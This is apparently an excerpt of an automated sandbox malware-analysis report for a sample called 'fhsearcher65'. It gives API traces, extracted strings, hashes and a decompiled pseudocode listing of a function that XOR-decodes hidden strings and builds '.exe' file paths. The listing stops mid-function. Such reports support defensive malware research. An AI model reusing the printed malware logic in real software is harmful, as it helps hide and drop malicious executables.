GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,00403426), ref: 00402CAD
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,00403426), ref: 00402CBB
LocalAlloc.KERNEL32(00000040,?,?,?,00403426), ref: 00402CD6
OutputDebugStringA.KERNEL32(00000000,?,?,?,?,?,?,00403426), ref: 00402CF5
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00403426), ref: 00402D02
LocalFree.KERNEL32(?,?,?,?,?,?,?,00403426), ref: 00402D07

Strings

Error protecting memory page, xrefs: 00402CE1
0Zet, xrefs: 00402CF5
&4@, xrefs: 00402C50, 00402D09
%s: %s, xrefs: 00402CE6

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocDebugErrorFormatLastMessageOutputProtectStringVirtual
String ID: %s: %s$&4@$0Zet$Error protecting memory page
API String ID: 839691724-825665969
Opcode ID: ec672f0094e7f3388adeeb7760326c9e6727ead6e85e1c24407e2633a19afa83
Instruction ID: a1a352ac6942026d9475f6eb403f1888eea25ca07317b67fa518d34d35aa5f11
Opcode Fuzzy Hash: ec672f0094e7f3388adeeb7760326c9e6727ead6e85e1c24407e2633a19afa83
Instruction Fuzzy Hash: 76312531B00114AFE714AF69DC44FAEB769EF45700F1401AAE901AB2D1CAB5AD02CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA0 Relevance: 18.8, APIs: 6, Strings: 4, Instructions: 1307
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E00406AA0(void* __ebx, long __ecx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				signed char _v16;
				char _v20;
				signed int _v24;
				signed int _v32;
				char _v56;
				char _v80;
				char _v104;
				char _v300;
				signed char _v304;
				signed char _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				signed char _v324;
				long _v328;
				signed char _v332;
				char _v348;
				long _v352;
				signed char _v356;
				char _v372;
				long _v376;
				signed char _v380;
				signed char _v396;
				char _v400;
				char _v401;
				long _v408;
				signed char _v412;
				signed char _v428;
				long _v432;
				signed char _v436;
				signed char _v452;
				long _v456;
				signed char _v460;
				char _v476;
				signed char _v496;
				char _v504;
				signed int _v508;
				char _v760;
				char _v1088;
				signed char _v1092;
				intOrPtr _v1096;
				signed int _v1100;
				intOrPtr _v1104;
				char _v1128;
				char _v1152;
				char _v1176;
				char _v1200;
				char _v1224;
				char _v1248;
				char _v1272;
				signed int _v1772;
				short _v1776;
				intOrPtr _v1780;
				intOrPtr _v1784;
				intOrPtr _v1788;
				void* __ebp;
				signed int _t789;
				signed int _t790;
				void* _t792;
				signed int _t794;
				intOrPtr _t798;
				signed char _t799;
				signed int _t800;
				char* _t804;
				void* _t806;
				signed int _t812;
				intOrPtr _t813;
				signed int _t814;
				char* _t818;
				void* _t820;
				signed int _t826;
				intOrPtr _t827;
				signed char _t828;
				signed int _t829;
				char* _t833;
				void* _t835;
				signed int _t841;
				void* _t848;
				char* _t849;
				intOrPtr _t856;
				signed int _t863;
				signed int _t864;
				signed int _t866;
				void* _t875;
				void* _t876;
				void* _t877;
				void* _t878;
				void* _t879;
				signed int _t889;
				signed int _t892;
				void* _t898;
				void* _t899;
				signed int _t901;
				void* _t906;
				void* _t910;
				void* _t911;
				signed int _t913;
				signed int _t917;
				intOrPtr _t920;
				void* _t929;
				void* _t930;
				signed char _t933;
				char* _t937;
				intOrPtr _t938;
				signed char _t942;
				signed int _t945;
				signed int _t947;
				char _t951;
				signed char _t952;
				signed char _t956;
				intOrPtr _t960;
				signed int _t967;
				void* _t972;
				char* _t973;
				signed char _t977;
				intOrPtr _t981;
				intOrPtr _t985;
				signed char _t989;
				intOrPtr _t993;
				char _t998;
				signed char _t999;
				signed char _t1003;
				intOrPtr _t1007;
				signed int _t1014;
				void* _t1021;
				char* _t1022;
				intOrPtr _t1026;
				intOrPtr _t1030;
				signed char _t1034;
				intOrPtr _t1038;
				char _t1043;
				signed char _t1044;
				signed char _t1048;
				intOrPtr _t1052;
				char* _t1064;
				signed int _t1066;
				signed int _t1069;
				void* _t1072;
				void* _t1073;
				void* _t1079;
				intOrPtr _t1081;
				signed char _t1082;
				signed int _t1083;
				char* _t1087;
				void* _t1089;
				signed int _t1095;
				intOrPtr _t1096;
				signed int _t1097;
				char* _t1101;
				void* _t1103;
				signed int _t1109;
				intOrPtr _t1110;
				signed char _t1111;
				signed int _t1112;
				char* _t1116;
				void* _t1118;
				signed int _t1124;
				intOrPtr _t1125;
				intOrPtr _t1129;
				void* _t1133;
				char* _t1134;
				intOrPtr _t1138;
				intOrPtr _t1142;
				signed char _t1146;
				intOrPtr _t1150;
				char _t1155;
				signed char _t1156;
				signed char _t1160;
				intOrPtr _t1164;
				signed int _t1171;
				void* _t1176;
				char* _t1177;
				intOrPtr _t1181;
				intOrPtr _t1184;
				signed char _t1188;
				intOrPtr _t1192;
				char _t1197;
				signed char _t1198;
				signed char _t1202;
				intOrPtr _t1206;
				signed int _t1213;
				void* _t1220;
				char* _t1221;
				intOrPtr _t1225;
				intOrPtr _t1228;
				signed char _t1232;
				signed char _t1236;
				char _t1241;
				signed char _t1242;
				signed char _t1246;
				signed char _t1250;
				void* _t1262;
				char* _t1263;
				intOrPtr _t1267;
				intOrPtr _t1270;
				signed char _t1274;
				signed char _t1278;
				char _t1283;
				intOrPtr _t1284;
				signed char _t1289;
				intOrPtr _t1293;
				void* _t1296;
				intOrPtr* _t1305;
				signed char _t1308;
				void* _t1313;
				intOrPtr* _t1314;
				signed char _t1317;
				void* _t1322;
				signed char* _t1323;
				signed char _t1326;
				void* _t1331;
				char* _t1343;
				long _t1394;
				signed int _t1413;
				signed char _t1416;
				signed char _t1417;
				char _t1418;
				char* _t1423;
				signed char _t1424;
				char _t1425;
				char _t1426;
				signed char _t1427;
				char _t1428;
				signed char _t1429;
				signed char _t1430;
				char _t1431;
				char* _t1435;
				char _t1436;
				char _t1437;
				signed char _t1438;
				char _t1439;
				signed char _t1440;
				signed char _t1441;
				char _t1442;
				intOrPtr* _t1443;
				signed int _t1444;
				char* _t1448;
				void* _t1454;
				intOrPtr* _t1455;
				signed char _t1458;
				void* _t1463;
				intOrPtr* _t1464;
				signed char _t1467;
				void* _t1472;
				signed char* _t1473;
				signed char _t1476;
				void* _t1481;
				char _t1482;
				char _t1483;
				char* _t1487;
				char _t1488;
				char _t1489;
				signed char _t1490;
				char _t1491;
				signed char _t1492;
				signed char _t1493;
				char _t1494;
				char* _t1499;
				char _t1500;
				signed char _t1501;
				intOrPtr _t1502;
				signed char _t1503;
				signed char _t1504;
				intOrPtr _t1505;
				char* _t1509;
				char _t1510;
				signed char _t1511;
				signed char _t1512;
				signed char _t1513;
				signed char _t1514;
				signed char _t1515;
				char* _t1519;
				intOrPtr _t1520;
				signed char _t1521;
				signed char _t1522;
				intOrPtr _t1523;
				signed char _t1524;
				intOrPtr* _t1525;
				void* _t1529;
				long _t1530;
				long _t1532;
				long _t1533;
				long _t1534;
				void* _t1535;
				long _t1536;
				long _t1538;
				long _t1539;
				long _t1540;
				signed char* _t1541;
				long _t1542;
				long _t1544;
				long _t1545;
				signed char _t1549;
				void* _t1564;
				void* _t1565;
				signed char _t1568;
				long _t1569;
				long _t1570;
				long _t1571;
				long _t1572;
				void* _t1573;
				void* _t1574;
				void* _t1575;
				void* _t1576;
				void* _t1577;
				void* _t1578;
				signed char _t1581;
				long _t1582;
				long _t1583;
				long _t1584;
				long _t1585;
				void* _t1586;
				void* _t1587;
				void* _t1588;
				void* _t1589;
				void* _t1590;
				void* _t1591;
				intOrPtr* _t1592;
				long _t1597;
				long _t1598;
				void* _t1599;
				signed char _t1600;
				long _t1602;
				long _t1603;
				signed char _t1604;
				void* _t1605;
				long _t1606;
				long _t1608;
				long _t1609;
				long _t1610;
				signed char* _t1611;
				long _t1612;
				long _t1614;
				long _t1615;
				long _t1616;
				long _t1617;
				void* _t1618;
				signed char _t1621;
				long _t1622;
				long _t1623;
				long _t1624;
				long _t1625;
				void* _t1626;
				void* _t1627;
				void* _t1628;
				void* _t1629;
				void* _t1630;
				void* _t1631;
				signed char _t1634;
				long _t1635;
				long _t1636;
				long _t1637;
				long _t1638;
				void* _t1639;
				void* _t1640;
				void* _t1641;
				void* _t1642;
				void* _t1643;
				signed char _t1646;
				long _t1647;
				long _t1648;
				long _t1649;
				long _t1650;
				void* _t1651;
				void* _t1652;
				void* _t1653;
				void* _t1654;
				void* _t1655;
				signed char _t1658;
				long _t1659;
				long _t1660;
				long _t1661;
				long _t1662;
				void* _t1663;
				void* _t1664;
				void* _t1665;
				void* _t1666;
				void* _t1667;
				long _t1669;
				void* _t1670;
				long _t1673;
				void* _t1674;
				signed int _t1676;
				signed int _t1682;
				signed int _t1684;
				signed int _t1685;
				void* _t1687;
				signed int _t1690;
				void* _t1691;
				void* _t1692;
				signed char _t1693;
				void* _t1694;
				void* _t1695;
				void* _t1696;
				signed char _t1697;
				void* _t1698;
				void* _t1699;
				signed int _t1700;
				signed char _t1701;
				void* _t1702;
				void* _t1703;
				void* _t1708;
				void* _t1714;
				void* _t1715;
				signed int _t1716;
				void* _t1722;
				char _t1731;
				void* _t1732;
				void* _t1733;
				signed char _t1734;
				void* _t1735;
				void* _t1736;
				signed char _t1737;
				void* _t1738;
				void* _t1739;
				signed char _t1740;
				void* _t1741;

				_push(__ebx);
				_t1296 = _t1687;
				_t1690 = (_t1687 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t1296 + 4));
				_t1682 = _t1690;
				_push(0xffffffff);
				_push(0x42ccf2);
				_push( *[fs:0x0]);
				_push(_t1296);
				_t1691 = _t1690 - 0x1c0;
				_t789 =  *0x43d054; // 0xd71f2cec
				_t790 = _t789 ^ _t1682;
				_v32 = _t790;
				_push(__esi);
				_push(__edi);
				_push(_t790);
				 *[fs:0x0] =  &_v24;
				_t1673 = __ecx;
				_v400 = __ecx;
				_v400 = __ecx;
				_v396 = 0;
				_v380 = 0;
				_v376 = 0xf;
				_v396 = 0;
				_v16 = 0;
				_t792 = E004065E0(__ecx); // executed
				if(_t792 != 0) {
					E00406760(_t1296,  &_v348, __edi);
					_v16 = 0x16;
					_t794 = E004181A9( &_v348, __eflags);
					asm("cdq");
					E004055C0( &_v372, _t794 % 0xa + 5);
					_v16 = 0x17;
					_v401 = 0x2e;
					_t1669 =  *( *[fs:0x2c]);
					_t798 =  *0x450f54; // 0x0
					__eflags = _t798 -  *((intOrPtr*)(_t1669 + 4));
					if(_t798 >  *((intOrPtr*)(_t1669 + 4))) {
						E0040F2F9(_t798, 0x450f54);
						_t1691 = _t1691 + 4;
						__eflags =  *0x450f54 - 0xffffffff;
						if(__eflags == 0) {
							asm("movaps xmm0, [0x439d90]");
							asm("movups [0x450eb0], xmm0");
							 *0x450ec0 = _v401;
							E0040F60B( &_v372, __eflags, 0x42d430);
							E0040F2AF(0x450f54);
							_t1691 = _t1691 + 8;
						}
					}
					_t799 =  *0x450ec0; // 0x0
					__eflags = _t799;
					if(_t799 != 0) {
						asm("movups xmm0, [0x450eb0]");
						asm("movaps xmm1, [0x439d30]");
						asm("pxor xmm1, xmm0");
						 *0x450ec0 = _t799 ^ 0x0000002e;
						asm("movups [0x450eb0], xmm1");
					}
					_t1305 = 0x450eb0;
					_v452 = 0;
					_v436 = 0;
					_v432 = 0xf;
					_v452 = 0;
					_t408 = _t1305 + 1; // 0x450eb1
					_t1529 = _t408;
					do {
						_t800 =  *_t1305;
						_t1305 = _t1305 + 1;
						__eflags = _t800;
					} while (_t800 != 0);
					E004026B0(_t1296,  &_v452, 0x450eb0, _t1305 - _t1529);
					_v16 = 0x18;
					_t1530 = _v432;
					_t1308 = _v436;
					__eflags = _t1530 - _t1308 - 1;
					if(_t1530 - _t1308 < 1) {
						_v400 = 0;
						_t804 = E00402980(_t1296,  &_v452, _t1669, _t1673, 1, _v400, "\\", 1);
					} else {
						_t413 =  &(1[_t1308]); // 0x1
						__eflags = _t1530 - 0x10;
						_v436 = _t413;
						_t1058 =  >=  ? _v452 :  &_v452;
						 *((short*)(( >=  ? _v452 :  &_v452) + _t1308)) = 0x5c;
						_t804 =  &_v452;
					}
					_v428 = 0;
					_v412 = 0;
					_v408 = 0;
					asm("movups xmm0, [eax]");
					asm("movups [ebp-0x1a0], xmm0");
					asm("movq xmm0, [eax+0x10]");
					asm("movq [ebp-0x190], xmm0");
					 *(_t804 + 0x10) = 0;
					 *(_t804 + 0x14) = 0xf;
					 *_t804 = 0;
					_v16 = 0x19;
					_t806 = E0040CD40( &_v476,  &_v428,  &_v348);
					_t1692 = _t1691 + 4;
					E00402490(_t1296,  &_v396, _t806);
					_t1532 = _v456;
					__eflags = _t1532 - 0x10;
					if(_t1532 < 0x10) {
						L198:
						_v16 = 0x18;
						_t1533 = _v408;
						_v460 = 0;
						_v456 = 0xf;
						_v476 = 0;
						__eflags = _t1533 - 0x10;
						if(_t1533 < 0x10) {
							L202:
							_v16 = 0x17;
							_t1534 = _v432;
							_v412 = 0;
							_v408 = 0xf;
							_v428 = 0;
							__eflags = _t1534 - 0x10;
							if(_t1534 < 0x10) {
								L206:
								_t1693 = _t1692 - 0x18;
								_v304 = _t1693;
								E0040BF40(_t1296, _t1693, _t1534, _t1669,  &_v372);
								_t1694 = _t1693 - 0x18;
								_v16 = 0x1a;
								_t1313 = _t1694;
								E0040BF40(_t1296, _t1313, _t1534, _t1669,  &_v396);
								_v16 = 0x17;
								_t812 = E00406800(_t1296, _t1313, _t1669, _t1673);
								_t1695 = _t1694 + 0x30;
								__eflags = _t812;
								if(_t812 == 0) {
									_t813 =  *0x450fc8; // 0x0
									_v316 = 0x7e72146d;
									_v312 = 0x5c49415c;
									_v308 = 0x4f6a434f;
									_v304 = 0x4f5a;
									_v401 = 0x2e;
									__eflags = _t813 -  *((intOrPtr*)(_t1669 + 4));
									if(_t813 >  *((intOrPtr*)(_t1669 + 4))) {
										E0040F2F9(_t813, 0x450fc8);
										_t1695 = _t1695 + 4;
										__eflags =  *0x450fc8 - 0xffffffff;
										if(__eflags == 0) {
											asm("movq xmm0, [ebp-0x130]");
											 *0x450d8c = _v308;
											 *0x450d90 = _v304;
											asm("movq [0x450d84], xmm0");
											 *0x450d92 = _v401;
											E0040F60B(_t1313, __eflags, 0x42d400);
											E0040F2AF(0x450fc8);
											_t1695 = _t1695 + 8;
										}
									}
									__eflags =  *0x450d92;
									if( *0x450d92 != 0) {
										_t1014 = 0;
										__eflags = 0;
										do {
											 *(_t1014 + 0x450d84) =  *(_t1014 + 0x450d84) ^ 0x0000002e;
											_t1014 = _t1014 + 1;
											__eflags = _t1014 - 0xf;
										} while (_t1014 < 0xf);
									}
									_t1314 = 0x450d84;
									_v452 = 0;
									_v436 = 0;
									_v432 = 0xf;
									_v452 = 0;
									_t512 = _t1314 + 1; // 0x450d85
									_t1535 = _t512;
									asm("o16 nop [eax+eax]");
									do {
										_t814 =  *_t1314;
										_t1314 = _t1314 + 1;
										__eflags = _t814;
									} while (_t814 != 0);
									E004026B0(_t1296,  &_v452, 0x450d84, _t1314 - _t1535);
									_v16 = 0x1d;
									_t1536 = _v432;
									_t1317 = _v436;
									__eflags = _t1536 - _t1317 - 1;
									if(_t1536 - _t1317 < 1) {
										_v400 = 0;
										_t818 = E00402980(_t1296,  &_v452, _t1669, _t1673, 1, _v400, "\\", 1);
									} else {
										_t517 =  &(1[_t1317]); // 0x1
										__eflags = _t1536 - 0x10;
										_v436 = _t517;
										_t1013 =  >=  ? _v452 :  &_v452;
										 *((short*)(( >=  ? _v452 :  &_v452) + _t1317)) = 0x5c;
										_t818 =  &_v452;
									}
									_v428 = 0;
									_v412 = 0;
									_v408 = 0;
									asm("movups xmm0, [eax]");
									asm("movups [ebp-0x1a0], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x190], xmm0");
									 *(_t818 + 0x10) = 0;
									 *(_t818 + 0x14) = 0xf;
									 *_t818 = 0;
									_v16 = 0x1e;
									_t820 = E0040CD40( &_v476,  &_v428,  &_v348);
									_t1696 = _t1695 + 4;
									E00402490(_t1296,  &_v396, _t820);
									_t1538 = _v456;
									__eflags = _t1538 - 0x10;
									if(_t1538 < 0x10) {
										L244:
										_v16 = 0x1d;
										_t1539 = _v408;
										_v460 = 0;
										_v456 = 0xf;
										_v476 = 0;
										__eflags = _t1539 - 0x10;
										if(_t1539 < 0x10) {
											L248:
											_v16 = 0x17;
											_t1540 = _v432;
											_v412 = 0;
											_v408 = 0xf;
											_v428 = 0;
											__eflags = _t1540 - 0x10;
											if(_t1540 < 0x10) {
												L252:
												_t1697 = _t1696 - 0x18;
												_v304 = _t1697;
												E0040BF40(_t1296, _t1697, _t1540, _t1669,  &_v372);
												_t1698 = _t1697 - 0x18;
												_v16 = 0x1f;
												_t1322 = _t1698;
												E0040BF40(_t1296, _t1322, _t1540, _t1669,  &_v396);
												_v16 = 0x17;
												_t826 = E00406800(_t1296, _t1322, _t1669, _t1673);
												_t1699 = _t1698 + 0x30;
												__eflags = _t826;
												if(_t826 == 0) {
													_t827 =  *0x450df0; // 0x0
													_v308 = 0x7a72146d;
													_v304 = 0x2e5e434b;
													__eflags = _t827 -  *((intOrPtr*)(_t1669 + 4));
													if(_t827 >  *((intOrPtr*)(_t1669 + 4))) {
														E0040F2F9(_t827, 0x450df0);
														_t1699 = _t1699 + 4;
														__eflags =  *0x450df0 - 0xffffffff;
														if(__eflags == 0) {
															 *0x450da4 = _v308;
															 *0x450da8 = _v304;
															E0040F60B(_v304, __eflags, 0x42d3f0);
															E0040F2AF(0x450df0);
															_t1699 = _t1699 + 8;
														}
													}
													_t828 =  *0x450dab; // 0x0
													__eflags = _t828;
													if(_t828 != 0) {
														 *0x450da4 =  *0x450da4 ^ 0x0000002e;
														 *0x450da5 =  *0x450da5 ^ 0x0000002e;
														 *0x450da6 =  *0x450da6 ^ 0x0000002e;
														 *0x450da7 =  *0x450da7 ^ 0x0000002e;
														 *0x450da8 =  *0x450da8 ^ 0x0000002e;
														 *0x450da9 =  *0x450da9 ^ 0x0000002e;
														 *0x450daa =  *0x450daa ^ 0x0000002e;
														_t967 = _t828 ^ 0x0000002e;
														__eflags = _t967;
														 *0x450dab = _t967;
													}
													_t1323 = 0x450da4;
													_v452 = 0;
													_v436 = 0;
													_v432 = 0xf;
													_v452 = 0;
													_t610 =  &(_t1323[1]); // 0x450da5
													_t1541 = _t610;
													do {
														_t829 =  *_t1323;
														_t1323 =  &(_t1323[1]);
														__eflags = _t829;
													} while (_t829 != 0);
													E004026B0(_t1296,  &_v452, 0x450da4, _t1323 - _t1541);
													_v16 = 0x22;
													_t1542 = _v432;
													_t1326 = _v436;
													__eflags = _t1542 - _t1326 - 1;
													if(_t1542 - _t1326 < 1) {
														_v400 = 0;
														_t833 = E00402980(_t1296,  &_v452, _t1669, _t1673, 1, _v400, "\\", 1);
													} else {
														_t615 =  &(1[_t1326]); // 0x1
														__eflags = _t1542 - 0x10;
														_v436 = _t615;
														_t966 =  >=  ? _v452 :  &_v452;
														 *((short*)(( >=  ? _v452 :  &_v452) + _t1326)) = 0x5c;
														_t833 =  &_v452;
													}
													_v428 = 0;
													_v412 = 0;
													_v408 = 0;
													asm("movups xmm0, [eax]");
													asm("movups [ebp-0x1a0], xmm0");
													asm("movq xmm0, [eax+0x10]");
													asm("movq [ebp-0x190], xmm0");
													 *(_t833 + 0x10) = 0;
													 *(_t833 + 0x14) = 0xf;
													 *_t833 = 0;
													_v16 = 0x23;
													_t835 = E0040CD40( &_v476,  &_v428,  &_v348);
													_t1700 = _t1699 + 4;
													E00402490(_t1296,  &_v396, _t835);
													_t1544 = _v456;
													__eflags = _t1544 - 0x10;
													if(_t1544 < 0x10) {
														L289:
														_v16 = 0x22;
														_t1545 = _v408;
														_v460 = 0;
														_v456 = 0xf;
														_v476 = 0;
														__eflags = _t1545 - 0x10;
														if(_t1545 < 0x10) {
															L293:
															_v16 = 0x17;
															_t1546 = _v432;
															_v412 = 0;
															_v408 = 0xf;
															_v428 = 0;
															__eflags = _t1546 - 0x10;
															if(_t1546 < 0x10) {
																L297:
																_t1701 = _t1700 - 0x18;
																_v304 = _t1701;
																E0040BF40(_t1296, _t1701, _t1546, _t1669,  &_v372);
																_t1702 = _t1701 - 0x18;
																_v16 = 0x24;
																_t1331 = _t1702;
																E0040BF40(_t1296, _t1331, _t1546, _t1669,  &_v396);
																_v16 = 0x17;
																_t841 = E00406800(_t1296, _t1331, _t1669, _t1673);
																_t1703 = _t1702 + 0x30;
																__eflags = _t841;
																if(_t841 == 0) {
																	E00402440(_t1296,  &_v372);
																	_v16 = 0;
																	E00402440(_t1296,  &_v348);
																	goto L309;
																} else {
																	_push(_t1331);
																	_t848 = E0040CB20( &_v428,  &_v396);
																	_v16 = 0x25;
																	_t849 = E0040CD40( &_v476, _t848,  &_v372);
																	_t1700 = _t1703 + 8;
																	_t1343 = _t849;
																	_v16 = 0x26;
																	_t1669 =  *(_t1343 + 0x14);
																	_t1549 =  *(_t1343 + 0x10);
																	__eflags = _t1669 - _t1549 - 4;
																	if(_t1669 - _t1549 < 4) {
																		_v400 = 0;
																		_t1343 = E00402980(_t1296, _t1343, _t1669, _t1673, 4, _v400, ".exe", 4);
																	} else {
																		 *(_t1343 + 0x10) = _t1549 + 4;
																		_t951 = _t1343;
																		__eflags = _t1669 - 0x10;
																		if(_t1669 >= 0x10) {
																			_t951 =  *_t1343;
																		}
																		 *((intOrPtr*)(_t951 + _t1549)) = 0x6578652e;
																		 *((char*)(_t951 + _t1549 + 4)) = 0;
																	}
																	 *_t1673 = 0;
																	 *(_t1673 + 0x10) = 0;
																	 *(_t1673 + 0x14) = 0;
																	asm("movups xmm0, [ecx]");
																	asm("movups [esi], xmm0");
																	asm("movq xmm0, [ecx+0x10]");
																	asm("movq [esi+0x10], xmm0");
																	 *(_t1343 + 0x10) = 0;
																	 *(_t1343 + 0x14) = 0xf;
																	 *_t1343 = 0;
																	_t1546 = _v456;
																	__eflags = _t1546 - 0x10;
																	if(_t1546 < 0x10) {
																		L307:
																		_v460 = 0;
																		_v456 = 0xf;
																		_v476 = 0;
																		E00402440(_t1296,  &_v428);
																		E00402440(_t1296,  &_v372);
																		E00402440(_t1296,  &_v348);
																		goto L310;
																	} else {
																		_t1347 = _v476;
																		_t1546 =  &(1[_t1546]);
																		_t856 = _t1347;
																		__eflags = _t1546 - 0x1000;
																		if(_t1546 < 0x1000) {
																			L306:
																			_push(_t1546);
																			E0040F1B0(_t1347);
																			goto L307;
																		} else {
																			_t1347 =  *((intOrPtr*)(_t1347 - 4));
																			_t1546 = _t1546 + 0x23;
																			__eflags = _t856 - _t1347 + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L313;
																			} else {
																				goto L306;
																			}
																		}
																	}
																}
															} else {
																_t1416 = _v452;
																_t1546 =  &(1[_t1546]);
																_t952 = _t1416;
																__eflags = _t1546 - 0x1000;
																if(_t1546 < 0x1000) {
																	L296:
																	_push(_t1546);
																	E0040F1B0(_t1416);
																	_t1700 = _t1700 + 8;
																	goto L297;
																} else {
																	_t1347 =  *((intOrPtr*)(_t1416 - 4));
																	_t1546 = _t1546 + 0x23;
																	__eflags = _t952 -  *((intOrPtr*)(_t1416 - 4)) + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L313;
																	} else {
																		goto L296;
																	}
																}
															}
														} else {
															_t1417 = _v428;
															_t1564 = _t1545 + 1;
															_t956 = _t1417;
															__eflags = _t1564 - 0x1000;
															if(_t1564 < 0x1000) {
																L292:
																_push(_t1564);
																E0040F1B0(_t1417);
																_t1700 = _t1700 + 8;
																goto L293;
															} else {
																_t1347 =  *((intOrPtr*)(_t1417 - 4));
																_t1546 = _t1564 + 0x23;
																__eflags = _t956 -  *((intOrPtr*)(_t1417 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L313;
																} else {
																	goto L292;
																}
															}
														}
													} else {
														_t1418 = _v476;
														_t1565 = _t1544 + 1;
														_t960 = _t1418;
														__eflags = _t1565 - 0x1000;
														if(_t1565 < 0x1000) {
															L288:
															_push(_t1565);
															E0040F1B0(_t1418);
															_t1700 = _t1700 + 8;
															goto L289;
														} else {
															_t1347 =  *((intOrPtr*)(_t1418 - 4));
															_t1546 = _t1565 + 0x23;
															__eflags = _t960 -  *((intOrPtr*)(_t1418 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L313;
															} else {
																goto L288;
															}
														}
													}
												} else {
													_push(_t1322);
													_t972 = E0040CB20( &_v428,  &_v396);
													_v16 = 0x20;
													_t973 = E0040CD40( &_v476, _t972,  &_v372);
													_t1700 = _t1699 + 8;
													_t1423 = _t973;
													_v16 = 0x21;
													_t1669 =  *(_t1423 + 0x14);
													_t1568 =  *(_t1423 + 0x10);
													__eflags = _t1669 - _t1568 - 4;
													if(_t1669 - _t1568 < 4) {
														_v400 = 0;
														_t1423 = E00402980(_t1296, _t1423, _t1669, _t1673, 4, _v400, ".exe", 4);
													} else {
														 *(_t1423 + 0x10) = _t1568 + 4;
														_t998 = _t1423;
														__eflags = _t1669 - 0x10;
														if(_t1669 >= 0x10) {
															_t998 =  *_t1423;
														}
														 *((intOrPtr*)(_t998 + _t1568)) = 0x6578652e;
														 *((char*)(_t998 + _t1568 + 4)) = 0;
													}
													 *_t1673 = 0;
													 *(_t1673 + 0x10) = 0;
													 *(_t1673 + 0x14) = 0;
													asm("movups xmm0, [ecx]");
													asm("movups [esi], xmm0");
													asm("movq xmm0, [ecx+0x10]");
													asm("movq [esi+0x10], xmm0");
													 *(_t1423 + 0x10) = 0;
													 *(_t1423 + 0x14) = 0xf;
													 *_t1423 = 0;
													_t1569 = _v456;
													__eflags = _t1569 - 0x10;
													if(_t1569 < 0x10) {
														L262:
														_t1570 = _v408;
														_v460 = 0;
														_v456 = 0xf;
														_v476 = 0;
														__eflags = _t1570 - 0x10;
														if(_t1570 < 0x10) {
															L266:
															_t1571 = _v352;
															_v412 = 0;
															_v408 = 0xf;
															_v428 = 0;
															__eflags = _t1571 - 0x10;
															if(_t1571 < 0x10) {
																L270:
																_t1572 = _v328;
																_v356 = 0;
																_v352 = 0xf;
																_v372 = 0;
																__eflags = _t1572 - 0x10;
																if(__eflags < 0) {
																	goto L228;
																} else {
																	_t1425 = _v348;
																	_t1573 = _t1572 + 1;
																	_t981 = _t1425;
																	__eflags = _t1573 - 0x1000;
																	if(__eflags < 0) {
																		L273:
																		_push(_t1573);
																		E0040F1B0(_t1425);
																		_t1700 = _t1700 + 8;
																		_v332 = 0;
																		_v328 = 0xf;
																		_v348 = 0;
																		goto L39;
																	} else {
																		_t1347 =  *((intOrPtr*)(_t1425 - 4));
																		_t1546 = _t1573 + 0x23;
																		__eflags = _t981 -  *((intOrPtr*)(_t1425 - 4)) + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L313;
																		} else {
																			goto L273;
																		}
																	}
																}
															} else {
																_t1426 = _v372;
																_t1574 = _t1571 + 1;
																_t985 = _t1426;
																__eflags = _t1574 - 0x1000;
																if(_t1574 < 0x1000) {
																	L269:
																	_push(_t1574);
																	E0040F1B0(_t1426);
																	_t1700 = _t1700 + 8;
																	goto L270;
																} else {
																	_t1347 =  *((intOrPtr*)(_t1426 - 4));
																	_t1546 = _t1574 + 0x23;
																	__eflags = _t985 -  *((intOrPtr*)(_t1426 - 4)) + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L313;
																	} else {
																		goto L269;
																	}
																}
															}
														} else {
															_t1427 = _v428;
															_t1575 = _t1570 + 1;
															_t989 = _t1427;
															__eflags = _t1575 - 0x1000;
															if(_t1575 < 0x1000) {
																L265:
																_push(_t1575);
																E0040F1B0(_t1427);
																_t1700 = _t1700 + 8;
																goto L266;
															} else {
																_t1347 =  *((intOrPtr*)(_t1427 - 4));
																_t1546 = _t1575 + 0x23;
																__eflags = _t989 -  *((intOrPtr*)(_t1427 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L313;
																} else {
																	goto L265;
																}
															}
														}
													} else {
														_t1428 = _v476;
														_t1576 = _t1569 + 1;
														_t993 = _t1428;
														__eflags = _t1576 - 0x1000;
														if(_t1576 < 0x1000) {
															L261:
															_push(_t1576);
															E0040F1B0(_t1428);
															_t1700 = _t1700 + 8;
															goto L262;
														} else {
															_t1347 =  *((intOrPtr*)(_t1428 - 4));
															_t1546 = _t1576 + 0x23;
															__eflags = _t993 -  *((intOrPtr*)(_t1428 - 4)) + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																goto L313;
															} else {
																goto L261;
															}
														}
													}
												}
											} else {
												_t1429 = _v452;
												_t1540 = _t1540 + 1;
												_t999 = _t1429;
												__eflags = _t1540 - 0x1000;
												if(_t1540 < 0x1000) {
													L251:
													_push(_t1540);
													E0040F1B0(_t1429);
													_t1696 = _t1696 + 8;
													goto L252;
												} else {
													_t1347 =  *((intOrPtr*)(_t1429 - 4));
													_t1546 = _t1540 + 0x23;
													__eflags = _t999 -  *((intOrPtr*)(_t1429 - 4)) + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														goto L313;
													} else {
														goto L251;
													}
												}
											}
										} else {
											_t1430 = _v428;
											_t1577 = _t1539 + 1;
											_t1003 = _t1430;
											__eflags = _t1577 - 0x1000;
											if(_t1577 < 0x1000) {
												L247:
												_push(_t1577);
